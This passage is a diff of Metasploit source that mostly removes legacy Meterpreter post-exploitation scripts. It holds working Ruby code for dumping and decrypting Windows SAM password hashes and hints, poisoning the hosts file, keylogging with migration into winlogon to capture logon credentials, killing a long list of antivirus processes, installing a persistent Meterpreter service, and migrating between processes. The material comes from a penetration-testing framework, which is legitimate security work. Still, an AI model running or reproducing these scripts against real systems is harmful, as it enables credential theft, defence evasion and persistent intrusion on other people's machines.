users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0])
rescue ::Rex::Post::Meterpreter::RequestError
users[usr.to_i(16)][:UserPasswordHint] = nil
end
uk.close
end
ok.close
ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
ok.enum_key.each do |usr|
uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
r = uk.query_value("")
rid = r.type
users[rid] ||= {}
users[rid][:Name] = usr
#Attempt to get Hints (from WinXP Location) only if it's not set yet
if users[rid][:UserPasswordHint].nil?
begin
uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ)
users[rid][:UserPasswordHint] = uk_hint.query_value("").data
rescue ::Rex::Post::Meterpreter::RequestError
users[rid][:UserPasswordHint] = nil
end
end
uk.close
end
ok.close
users
end
def decrypt_user_keys(hbootkey, users)
users.each_key do |rid|
user = users[rid]
hashlm_enc = ""
hashnt_enc = ""
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
#Check if hashes exist (if 20, then we've got a hash)
lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false
#If we have a hashes, then parse them (Note: NT is dependant on LM)
hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
end
users
end
def decode_windows_hint(e_string)
d_string = ""
e_string.scan(/..../).each do |chunk|
bytes = chunk.scan(/../)
d_string += (bytes[1] + bytes[0]).to_s.hex.chr
end
d_string
end
def convert_des_56_to_64(kstr)
key = []
str = kstr.unpack("C*")
key[0] = str[0] >> 1
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
key[7] = str[6] & 0x7F
0.upto(7) do |i|
key[i] = ( key[i] << 1)
key[i] = @des_odd_parity[key[i]]
end
key.pack("C*")
end
def rid_to_key(rid)
s1 = [rid].pack("V")
s1 << s1[0,3]
s2b = [rid].pack("V").unpack("C4")
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
s2 << s2[0,3]
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
end
def decrypt_user_hash(rid, hbootkey, enchash, pass)
if(enchash.empty?)
case pass
when @sam_lmpass
return @sam_empty_lm
when @sam_ntpass
return @sam_empty_nt
end
return ""
end
des_k1, des_k2 = rid_to_key(rid)
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
d1.padding = 0
d1.key = des_k1
d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
d2.padding = 0
d2.key = des_k2
md5 = Digest::MD5.new
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
rc4 = OpenSSL::Cipher::Cipher.new('rc4')
rc4.key = md5.digest
okey = rc4.update(enchash)
d1o = d1.decrypt.update(okey[0,8])
d1o << d1.final
d2o = d2.decrypt.update(okey[8,8])
d1o << d2.final
d1o + d2o
end
if client.platform =~ /win32|win64/
begin
print_status("Obtaining the boot key...")
bootkey = capture_boot_key
print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
hbootkey = capture_hboot_key(bootkey)
print_status("Obtaining the user list and keys...")
users = capture_user_keys
print_status("Decrypting user keys...")
users = decrypt_user_keys(hbootkey, users)
print_status("Dumping password hints...")
print_line()
hint_count = 0
users.keys.sort{|a,b| a<=>b}.each do |rid|
#If we have a hint then print it
if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0
print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\""
hint_count += 1
end
end
print_line("No users with password hints on this system") if hint_count == 0
print_line()
print_status("Dumping password hashes...")
print_line()
print_line()
users.keys.sort{|a,b| a<=>b}.each do |rid|
hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"
@client.framework.db.report_auth_info(
:host => client.sock.peerhost,
:port => smb_port,
:sname => 'smb',
:user => users[rid][:Name],
:pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
:type => "smb_hash"
)
print_line hashstring
end
print_line()
print_line()
rescue ::Interrupt
raise $!
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Meterpreter Exception: #{e.class} #{e}")
print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
rescue ::Exception => e
print_error("Error: #{e.class} #{e} #{e.backtrace}")
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,108 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Meterpreter script for modifying the hosts file in windows
# given a single entrie or several in a file and clear the
# DNS cache on the target machine.
# This script works with Windows 2000,Windows XP,Windows 2003,
# Windows Vista and Windows 2008.
# Provided: carlos_perez[at]darkoperator[dot]com
# Version: 0.1.0
# Note: in Vista UAC must be disabled to be able to perform hosts
# file modifications.
################## Variable Declarations ##################
session = client
# Setting Arguments
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help Options." ],
"-e" => [ true, "Host entry in the format of IP,Hostname." ],
"-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ]
)
def usage
print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.")
print_line("Since Windows will check first the Hosts file instead of the configured DNS Server")
print_line("it will assist in diverting traffic to the fake entry or entries. Either a single")
print_line("entry can be provided or a series of entries provided a file with one per line.")
print_line(@@exec_opts.usage)
print_line("Example:\n\n")
print_line("run hostsedit -e 127.0.0.1,google.com\n")
print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n")
raise Rex::Script::Completed
end
record = ""
#Set path to the hosts file
hosts = session.sys.config.getenv('SYSTEMROOT')+"\\System32\\drivers\\etc\\hosts"
#Function check if UAC is enabled
def checkuac(session)
winver = session.sys.config.sysinfo
if winver["OS"] =~ (/Windows 7|Vista/)
print_status("Checking if UAC is enabled.")
open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ)
value = open_key.query_value("EnableLUA").data
if value == 1
print_status("\tUAC is enabled")
raise "Unable to continue UAC is enabbled."
else
print_status("\tUAC is disabled")
status = false
end
end
end
#Function for adding record to hosts file
def add2hosts(session,record,hosts)
ip,host = record.split(",")
print_status("Adding Record for Host #{host} with IP #{ip}")
session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true})
end
#Make a backup of the hosts file on the target
def backuphosts(session,hosts)
random = sprintf("%.5d",rand(100000))
print_status("Making Backup of the hosts file.")
session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true})
print_status("Backup loacated in #{hosts}#{random}.back")
end
# Clear DNS Cached entries
def cleardnscach(session)
print_status("Clearing the DNS Cache")
session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true})
end
if client.platform =~ /win32|win64/
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-e"
checkuac(session)
backuphosts(session,hosts)
add2hosts(session,val,hosts)
cleardnscach(session)
when "-l"
checkuac(session)
if not ::File.exist?(val)
raise "File #{val} does not exists!"
else
backuphosts(session,hosts)
::File.open(val, "r").each_line do |line|
next if line.strip.length < 1
next if line[0,1] == "#"
add2hosts(session,line.chomp,hosts)
end
cleardnscach(session)
end
when "-h"
usage
end
}
if args.length == 0
usage
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,212 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
# Updates by Shellster
#-------------------------------------------------------------------------------
session = client
# Script Options
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
"-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ],
"-l" => [ false, "Lock screen when capturing Winlogon credentials."],
"-k" => [ false, "Kill old Process"]
)
def usage
print_line("Keylogger Recorder Meterpreter Script")
print_line("This script will start the Meterpreter Keylogger and save all keys")
print_line("in a log file for later anlysis. To stop capture hit Ctrl-C")
print_line("Usage:" + @@exec_opts.usage)
raise Rex::Script::Completed
end
#Get Hostname
host,port = session.session_host, session.session_port
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'keylogrecorder')
# Create the log directory
::FileUtils.mkdir_p(logs)
#logfile name
logfile = logs + ::File::Separator + host + filenameinfo + ".txt"
#Interval for collecting Keystrokes in seconds
keytime = 30
#Type of capture
captype = 2
# Function for locking the screen -- Thanks for the idea and API call Mubix
def lock_screen
print_status("Locking Screen...")
lock_info = client.railgun.user32.LockWorkStation()
if lock_info["GetLastError"] == 0
print_status("Screen has been locked")
else
print_error("Screen lock Failed")
end
end
#Function to Migrate in to Explorer process to be able to interact with desktop
def explrmigrate(session,captype,lock,kill)
#begin
if captype.to_i == 0
process2mig = "explorer.exe"
elsif captype.to_i == 1
if is_uac_enabled?
print_error("UAC is enabled on this host! Winlogon migration will be blocked.")
raise Rex::Script::Completed
end
process2mig = "winlogon.exe"
if lock
lock_screen
end
else
process2mig = "explorer.exe"
end
# Actual migration
mypid = session.sys.process.getpid
session.sys.process.get_processes().each do |x|
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
print_status("\t#{process2mig} Process found, migrating into #{x['pid']}")
session.core.migrate(x['pid'].to_i)
print_status("Migration Successful!!")
if (kill)
begin
print_status("Killing old process")
client.sys.process.kill(mypid)
print_status("Old process killed.")
rescue
print_status("Failed to kill old process.")
end
end
end
end
return true
# rescue
# print_status("Failed to migrate process!")
# return false
# end
end
#Function for starting the keylogger
def startkeylogger(session)
begin
#print_status("Grabbing Desktop Keyboard Input...")
#session.ui.grab_desktop
print_status("Starting the keystroke sniffer...")
session.ui.keyscan_start
return true
rescue
print_status("Failed to start Keylogging!")
return false
end
end
def write_keylog_data session, logfile
data = session.ui.keyscan_dump
outp = ""
data.unpack("n*").each do |inp|
fl = (inp & 0xff00) >> 8
vk = (inp & 0xff)
kc = VirtualKeyCodes[vk]
f_shift = fl & (1<<1)
f_ctrl = fl & (1<<2)
f_alt = fl & (1<<3)
if(kc)
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
case name
when /^.$/
outp << name
when /shift|click/i
when 'Space'
outp << " "
else
outp << " <#{name}> "
end
else
outp << " <0x%.2x> " % vk
end
end
sleep(2)
if(outp.length > 0)
file_local_write(logfile,"#{outp}\n")
end
end
# Function for Collecting Capture
def keycap(session, keytime, logfile)
begin
rec = 1
#Creating DB for captured keystrokes
file_local_write(logfile,"")
print_status("Keystrokes being saved in to #{logfile}")
#Inserting keystrokes every number of seconds specified
print_status("Recording ")
while rec == 1
#getting and writing Keystrokes
write_keylog_data session, logfile
sleep(keytime.to_i)
end
rescue::Exception => e
print_status "Saving last few keystrokes"
write_keylog_data session, logfile
print("\n")
print_status("#{e.class} #{e}")
print_status("Stopping keystroke sniffer...")
session.ui.keyscan_stop
end
end
# Parsing of Options
helpcall = 0
lock = false
kill = false
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-t"
keytime = val
when "-c"
captype = val
when "-h"
usage
when "-l"
lock = true
when "-k"
kill = true
end
}
if client.platform =~ /win32|win64/
if (captype.to_i == 2)
if startkeylogger(session)
keycap(session, keytime, logfile)
end
elsif explrmigrate(session,captype,lock, kill)
if startkeylogger(session)
keycap(session, keytime, logfile)
end
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,619 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#
# Meterpreter script that kills all Antivirus processes
# Provided by: Jerome Athias <jerome.athias [at] free.fr>
#
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ]
)
def usage
print_line("Usage:" + @@exec_opts.usage)
raise Rex::Script::Completed
end
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
end
}
print_status("Killing Antivirus services on the target...")
avs = %W{
AAWTray.exe
Ad-Aware.exe
MSASCui.exe
_avp32.exe
_avpcc.exe
_avpm.exe
aAvgApi.exe
ackwin32.exe
adaware.exe
advxdwin.exe
agentsvr.exe
agentw.exe
alertsvc.exe
alevir.exe
alogserv.exe
amon9x.exe
anti-trojan.exe
antivirus.exe
ants.exe
apimonitor.exe
aplica32.exe
apvxdwin.exe
arr.exe
atcon.exe
atguard.exe
atro55en.exe
atupdater.exe
atwatch.exe
au.exe
aupdate.exe
auto-protect.nav80try.exe
autodown.exe
autotrace.exe
autoupdate.exe
avconsol.exe
ave32.exe
avgcc32.exe
avgctrl.exe
avgemc.exe
avgnt.exe
avgrsx.exe
avgserv.exe
avgserv9.exe
avguard.exe
avgw.exe
avkpop.exe
avkserv.exe
avkservice.exe
avkwctl9.exe
avltmain.exe
avnt.exe
avp.exe
avp.exe
avp32.exe
avpcc.exe
avpdos32.exe
avpm.exe
avptc32.exe
avpupd.exe
avsched32.exe
avsynmgr.exe
avwin.exe
avwin95.exe
avwinnt.exe
avwupd.exe
avwupd32.exe
avwupsrv.exe
avxmonitor9x.exe
avxmonitornt.exe
avxquar.exe
backweb.exe
bargains.exe
bd_professional.exe
beagle.exe
belt.exe
bidef.exe
bidserver.exe
bipcp.exe
bipcpevalsetup.exe
bisp.exe
blackd.exe
blackice.exe
blink.exe
blss.exe
bootconf.exe
bootwarn.exe
borg2.exe
bpc.exe
brasil.exe
bs120.exe
bundle.exe
bvt.exe
ccapp.exe
ccevtmgr.exe
ccpxysvc.exe
cdp.exe
cfd.exe
cfgwiz.exe
cfiadmin.exe
cfiaudit.exe
cfinet.exe
cfinet32.exe
claw95.exe
claw95cf.exe
clean.exe
cleaner.exe
cleaner3.exe
cleanpc.exe
click.exe
cmd.exe
cmd32.exe
cmesys.exe
cmgrdian.exe
cmon016.exe
connectionmonitor.exe
cpd.exe
cpf9x206.exe
cpfnt206.exe
ctrl.exe
cv.exe
cwnb181.exe
cwntdwmo.exe
datemanager.exe
dcomx.exe
defalert.exe
defscangui.exe
defwatch.exe
deputy.exe
divx.exe
dllcache.exe
dllreg.exe
doors.exe
dpf.exe
dpfsetup.exe
dpps2.exe
drwatson.exe
drweb32.exe
drwebupw.exe
dssagent.exe
dvp95.exe
dvp95_0.exe
ecengine.exe
efpeadm.exe
emsw.exe
ent.exe
esafe.exe
escanhnt.exe
escanv95.exe
espwatch.exe
ethereal.exe
etrustcipe.exe
evpn.exe
exantivirus-cnet.exe
exe.avxw.exe
expert.exe
explore.exe
f-agnt95.exe
f-prot.exe
f-prot95.exe
f-stopw.exe
fameh32.exe
fast.exe
fch32.exe
fih32.exe
findviru.exe
firewall.exe
fnrb32.exe
fp-win.exe
fp-win_trial.exe
fprot.exe
frw.exe
fsaa.exe
fsav.exe
fsav32.exe
fsav530stbyb.exe
fsav530wtbyb.exe
fsav95.exe
fsgk32.exe
fsm32.exe
fsma32.exe
fsmb32.exe
gator.exe
gbmenu.exe
gbpoll.exe
generics.exe
gmt.exe
guard.exe
guarddog.exe
hacktracersetup.exe
hbinst.exe
hbsrv.exe
hotactio.exe
hotpatch.exe
htlog.exe
htpatch.exe
hwpe.exe
hxdl.exe
hxiul.exe
iamapp.exe
iamserv.exe
iamstats.exe
ibmasn.exe
ibmavsp.exe
icload95.exe
icloadnt.exe
icmon.exe
icsupp95.exe
icsuppnt.exe
idle.exe
iedll.exe
iedriver.exe
iexplorer.exe
iface.exe
ifw2000.exe
inetlnfo.exe
infus.exe
infwin.exe
init.exe
intdel.exe
intren.exe
iomon98.exe
istsvc.exe
jammer.exe
jdbgmrg.exe
jedi.exe
kavlite40eng.exe
kavpers40eng.exe
kavpf.exe
kazza.exe
keenvalue.exe
kerio-pf-213-en-win.exe
kerio-wrl-421-en-win.exe
kerio-wrp-421-en-win.exe
kernel32.exe
killprocesssetup161.exe
launcher.exe
ldnetmon.exe
ldpro.exe
ldpromenu.exe
ldscan.exe
lnetinfo.exe
loader.exe
localnet.exe
lockdown.exe
lockdown2000.exe
lookout.exe
lordpe.exe
lsetup.exe
luall.exe
luau.exe
lucomserver.exe
luinit.exe
luspt.exe
mapisvc32.exe
mcagent.exe
mcmnhdlr.exe
mcshield.exe
mctool.exe
mcupdate.exe
mcvsrte.exe
mcvsshld.exe
md.exe
mfin32.exe
mfw2en.exe
mfweng3.02d30.exe
mgavrtcl.exe
mgavrte.exe
mghtml.exe
mgui.exe
minilog.exe
mmod.exe
monitor.exe
moolive.exe
mostat.exe
mpfagent.exe
mpfservice.exe
mpftray.exe
mrflux.exe
msapp.exe
msbb.exe
msblast.exe
mscache.exe
msccn32.exe
mscman.exe
msconfig.exe
msdm.exe
msdos.exe
msiexec16.exe
msinfo32.exe
mslaugh.exe
msmgt.exe
msmsgri32.exe
mssmmc32.exe
mssys.exe
msvxd.exe
mu0311ad.exe
mwatch.exe
n32scanw.exe
nav.exe
navap.navapsvc.exe
navapsvc.exe
navapw32.exe
navdx.exe
navlu32.exe
navnt.exe
navstub.exe
navw32.exe
navwnt.exe
nc2000.exe
ncinst4.exe
ndd32.exe
neomonitor.exe
neowatchlog.exe
netarmor.exe
netd32.exe
netinfo.exe
netmon.exe
netscanpro.exe
netspyhunter-1.2.exe
netstat.exe
netutils.exe
nisserv.exe
nisum.exe
nmain.exe
nod32.exe
normist.exe
norton_internet_secu_3.0_407.exe
notstart.exe
npf40_tw_98_nt_me_2k.exe
npfmessenger.exe
nprotect.exe
npscheck.exe
npssvc.exe
nsched32.exe
nssys32.exe
nstask32.exe
nsupdate.exe
nt.exe
ntrtscan.exe
ntvdm.exe
ntxconfig.exe
nui.exe
nupgrade.exe
nvarch16.exe
nvc95.exe
nvsvc32.exe
nwinst4.exe
nwservice.exe
nwtool16.exe
ollydbg.exe
onsrvr.exe
optimize.exe
ostronet.exe
otfix.exe
outpost.exe
outpostinstall.exe
outpostproinstall.exe
padmin.exe
panixk.exe
patch.exe
pavcl.exe
pavproxy.exe
pavsched.exe
pavw.exe
pccwin98.exe
pcfwallicon.exe
pcip10117_0.exe
pcscan.exe
pdsetup.exe
periscope.exe
persfw.exe
perswf.exe
pf2.exe
pfwadmin.exe
pgmonitr.exe
pingscan.exe
platin.exe
pop3trap.exe
poproxy.exe
popscan.exe
portdetective.exe
portmonitor.exe
powerscan.exe
ppinupdt.exe
pptbc.exe
ppvstop.exe
prizesurfer.exe
prmt.exe
prmvr.exe
procdump.exe
processmonitor.exe
procexplorerv1.0.exe
programauditor.exe
proport.exe
protectx.exe
pspf.exe
purge.exe
qconsole.exe
qserver.exe
rapapp.exe
rav7.exe
rav7win.exe
rav8win32eng.exe
ray.exe
rb32.exe
rcsync.exe
realmon.exe
reged.exe
regedit.exe
regedt32.exe
rescue.exe
rescue32.exe
rrguard.exe
rshell.exe
rtvscan.exe
rtvscn95.exe
rulaunch.exe
run32dll.exe
rundll.exe
rundll16.exe
ruxdll32.exe
safeweb.exe
sahagent.exe
save.exe
savenow.exe
sbserv.exe
sc.exe
scam32.exe
scan32.exe
scan95.exe
scanpm.exe
scrscan.exe
serv95.exe
setup_flowprotector_us.exe
setupvameeval.exe
sfc.exe
sgssfw32.exe
sh.exe
shellspyinstall.exe
shn.exe
showbehind.exe
smc.exe
sms.exe
smss32.exe
soap.exe
sofi.exe
sperm.exe
spf.exe
sphinx.exe
spoler.exe
spoolcv.exe
spoolsv32.exe
spyxx.exe
srexe.exe
srng.exe
ss3edit.exe
ssg_4104.exe
ssgrate.exe
st2.exe
start.exe
stcloader.exe
supftrl.exe
support.exe
supporter5.exe
svc.exe
svchostc.exe
svchosts.exe
svshost.exe
sweep95.exe
sweepnet.sweepsrv.sys.swnetsup.exe
symproxysvc.exe
symtray.exe
sysedit.exe
system.exe
system32.exe
sysupd.exe
taskmg.exe
taskmgr.exe
taskmo.exe
taskmon.exe
taumon.exe
tbscan.exe
tc.exe
tca.exe
tcm.exe
tds-3.exe
tds2-98.exe
tds2-nt.exe
teekids.exe
tfak.exe
tfak5.exe
tgbob.exe
titanin.exe
titaninxp.exe
tracert.exe
trickler.exe
trjscan.exe
trjsetup.exe
trojantrap3.exe
tsadbot.exe
tvmd.exe
tvtmd.exe
undoboot.exe
updat.exe
update.exe
upgrad.exe
utpost.exe
vbcmserv.exe
vbcons.exe
vbust.exe
vbwin9x.exe
vbwinntw.exe
vcsetup.exe
vet32.exe
vet95.exe
vettray.exe
vfsetup.exe
vir-help.exe
virusmdpersonalfirewall.exe
vnlan300.exe
vnpc3000.exe
vpc32.exe
vpc42.exe
vpfw30s.exe
vptray.exe
vscan40.exe
vscenu6.02d30.exe
vsched.exe
vsecomr.exe
vshwin32.exe
vsisetup.exe
vsmain.exe
vsmon.exe
vsstat.exe
vswin9xe.exe
vswinntse.exe
vswinperse.exe
w32dsm89.exe
w9x.exe
watchdog.exe
webdav.exe
webscanx.exe
webtrap.exe
wfindv32.exe
whoswatchingme.exe
wimmun32.exe
win-bugsfix.exe
win32.exe
win32us.exe
winactive.exe
window.exe
windows.exe
wininetd.exe
wininitx.exe
winlogin.exe
winmain.exe
winnet.exe
winppr32.exe
winrecon.exe
winservn.exe
winssk32.exe
winstart.exe
winstart001.exe
wintsk32.exe
winupdate.exe
wkufind.exe
wnad.exe
wnt.exe
wradmin.exe
wrctrl.exe
wsbgate.exe
wupdater.exe
wupdt.exe
wyvernworksfirewall.exe
xpf202en.exe
zapro.exe
zapsetup3001.exe
zatutor.exe
zonalm2601.exe
zonealarm.exe
}
client.sys.process.get_processes().each do |x|
if (avs.index(x['name'].downcase))
print_status("Killing off #{x['name']}...")
client.sys.process.kill(x['pid'])
end
end

View File

@ -1,139 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#
# Meterpreter script for installing the meterpreter service
#
session = client
#
# Options
#
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"],
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the service"]
)
# Exec a command and return the results
def m_exec(session, cmd)
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
b = ""
while(d = r.channel.read)
b << d
end
r.channel.close
r.close
b
end
#
# Default parameters
#
based = File.join(Msf::Config.data_directory, "meterpreter")
rport = 31337
install = false
autoconn = false
remove = false
if client.platform =~ /win32|win64/
#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
case opt
when "-h"
print_line(opts.usage)
raise Rex::Script::Completed
when "-A"
autoconn = true
when "-r"
remove = true
end
end
#
# Create the persistent VBS
#
if(not remove)
print_status("Creating a meterpreter service on port #{rport}")
else
print_status("Removing the existing Meterpreter service")
end
#
# Upload to the filesystem
#
tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8)
print_status("Creating a temporary installation directory #{tempdir}...")
client.fs.dir.mkdir(tempdir)
# Use an array of `from -> to` associations so that things
# such as metsrv can be copied from the appropriate location
# but named correctly on the target.
bins = {
'metsrv.x86.dll' => 'metsrv.dll',
'metsvc-server.exe' => nil,
'metsvc.exe' => nil
}
bins.each do |from, to|
next if (from != "metsvc.exe" and remove)
to ||= from
print_status(" >> Uploading #{from}...")
fd = client.fs.file.new(tempdir + "\\" + to, "wb")
path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from)
fd.write(::File.read(path, ::File.size(path)))
fd.close
end
#
# Execute the agent
#
if(not remove)
print_status("Starting the service...")
client.fs.dir.chdir(tempdir)
data = m_exec(client, "metsvc.exe install-service")
print_line("\t#{data}")
else
print_status("Stopping the service...")
client.fs.dir.chdir(tempdir)
data = m_exec(client, "metsvc.exe remove-service")
print_line("\t#{data}")
end
if(remove)
m_exec(client, "cmd.exe /c del metsvc.exe")
end
#
# Setup the exploit/multi/handler if requested
#
if(autoconn)
print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...")
mul = client.framework.exploits.create("multi/handler")
mul.datastore['WORKSPACE'] = client.workspace
mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp"
mul.datastore['LPORT'] = rport
mul.datastore['RHOST'] = client.session_host
mul.datastore['ExitOnSession'] = false
mul.exploit_simple(
'Payload' => mul.datastore['PAYLOAD'],
'RunAsJob' => true
)
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end

View File

@ -1,96 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#
# Simple example script that migrates to a specific process by name.
# This is meant as an illustration.
#
spawn = false
kill = false
target_pid = nil
target_name = nil
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-f" => [ false, "Launch a process and migrate into the new process"],
"-p" => [ true , "PID to migrate to."],
"-k" => [ false, "Kill original process."],
"-n" => [ true, "Migrate into the first process with this executable name (explorer.exe)" ]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-f"
spawn = true
when "-k"
kill = true
when "-p"
target_pid = val.to_i
when "-n"
target_name = val.to_s
when "-h"
print_line(opts.usage)
raise Rex::Script::Completed
else
print_line(opts.usage)
raise Rex::Script::Completed
end
}
# Creates a temp notepad.exe to migrate to depending the architecture.
def create_temp_proc()
# Use the system path for executable to run
cmd = "notepad.exe"
# run hidden
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
return proc.pid
end
# In case no option is provided show help
if args.length == 0
print_line(opts.usage)
raise Rex::Script::Completed
end
### Main ###
if client.platform =~ /win32|win64/
server = client.sys.process.open
original_pid = server.pid
print_status("Current server process: #{server.name} (#{server.pid})")
if spawn
print_status("Spawning notepad.exe process to migrate to")
target_pid = create_temp_proc
end
if target_name and not target_pid
target_pid = client.sys.process[target_name]
if not target_pid
print_status("Could not identify the process ID for #{target_name}")
raise Rex::Script::Completed
end
end
begin
print_good("Migrating to #{target_pid}")
client.core.migrate(target_pid)
print_good("Successfully migrated to process #{}")
rescue ::Exception => e
print_error("Could not migrate in to process.")
print_error(e)
end
if kill
print_status("Killing original process with PID #{original_pid}")
client.sys.process.kill(original_pid)
print_good("Successfully killed process with PID #{original_pid}")
end
end

View File

@ -17,40 +17,22 @@
# Setting Arguments
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ],
"-sl" => [ false,"Hide commands output for work in background sessions"],
"-cl" => [ true,"Commands to execute. The command must be enclosed in double quotes and separated by a comma."],
"-rc" => [ true,"Text file with list of commands, one per line."]
)
#Setting Argument variables
commands = nil
script = []
help = 0
################## Function Declarations ##################
# Function for running a list of commands stored in a array, returs string
def list_con_exec(cmdlst)
print_status("Running Command List ...")
cmdout = ""
cmdlst.each do |cmd|
next if cmd.strip.length < 1
next if cmd[0,1] == "#"
begin
print_status "\tRunning command #{cmd}"
@client.console.run_single(cmd)
rescue ::Exception => e
print_status("Error Running Command #{cmd}: #{e.class} #{e}")
end
end
cmdout
end
help = false
silence = false
def usage
print_line("Console Multi Command Execution Meterpreter Script ")
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end
################## Main ##################
@@exec_opts.parse(args) { |opt, idx, val|
case opt
@ -68,14 +50,34 @@ end
end
when "-h"
help = 1
help = true
when "-sl"
silence = true
end
}
if args.length == 0 or help == 1 or commands.nil?
if args.length == 0 or help or commands.nil?
usage
else
list_con_exec(commands)
raise Rex::Script::Completed
end
print_status("Running Command List ...")
commands.each do |cmd|
next if cmd.strip.length < 1
next if cmd[0,1] == "#"
begin
print_status "\tRunning command #{cmd}"
if silence
@client.console.disable_output = true
end
@client.console.run_single(cmd)
if silence
@client.console.disable_output = false
end
rescue ::Exception => e
print_status("Error Running Command #{cmd}: #{e.class} #{e}")
end
end

View File

@ -1,219 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
@client = client
# Interval for recording packets
rec_time = 30
# Interface ID
int_id = nil
# List Interfaces
list_int = nil
# Log Folder
log_dest = nil
@exec_opts = Rex::Parser::Arguments.new(
